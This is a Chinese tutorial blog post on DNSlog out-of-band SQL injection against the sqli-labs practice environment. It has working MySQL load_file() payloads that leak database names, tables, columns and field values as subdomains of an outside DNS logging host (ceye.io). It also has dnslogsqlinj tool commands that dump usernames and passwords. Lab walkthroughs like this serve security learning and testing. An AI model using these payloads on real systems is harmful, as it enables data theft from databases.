SQL注入-DNSlog注入(手工加工具使用)

一:DNSlog注入原理

Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog(日志)记录显示我们的注入结果。通过load_file()不仅可以查看本地文件,也可以访问远程共享文件。 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

请添加图片描述

二:DNSlog应用场景

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

PS:DNSLOG注入需要有两个条件,1.SQL服务器能连接网络;2.开启了LOAD_FILE() 读取文件的函数

三:DNSlog手工注入

1.要利用在线的dns在线服务器,网站可以记录下我们的DNS请求,并用网站查询信息

网站网址:http://www.dnslog.cn http://ceye.io/ http://admin.dnslog.link

2.pylaod构造

// 查询当前数据库
id=1'and load_file(concat("\\\\",database(),".913n8.ceye.io\\xxx.txt"))--+

//查询其他数据库
id=1'and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".913n8.ceye.io\\xxx.txt"))--+
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
"""

//查询版本号
id=1'and load_file(concat("\\\\",version(),".913n8.ceye.io\\xxx.txt"))--+

//查询当前数据库security中第一个表名
id=1'and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 0,1 ),".913n8.ceye.io\\xxx.txt"))--+

"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
"""
//查询security数据库emails表下第一个列名
id=1'and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".913n8.ceye.io\\xxx.txt"))--+

//查询字段值  数据库名为security 表名emails 列名id
id=1'and load_file(concat("\\\\",(select id from security.emails limit 0,1),".913n8.ceye.io\\xxx.txt"))--+

注意:要用limit控制查询的数,以及查询的位置

3.通知DNS在线服务器,查询日志,获取注入信息。

查询的截图:
请添加图片描述

请添加图片描述

请添加图片描述

四:利用DnslogSqlinj工具进入DNSlog注入

工具下载链接

https://github.com/adooo/dnslogsqlinj

需要使用python27环境

配置:

找到DNS在线服务器,例如上面用到的 http://ceye.io 找到profile 把相应的信息写到config.py中

请添加图片描述

使用语句:

获取数据库名:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
获取数据库security下的表名:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
获取users表的列名:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
获取uses表中的数据:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump

测试截图:

请添加图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

h1dm

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值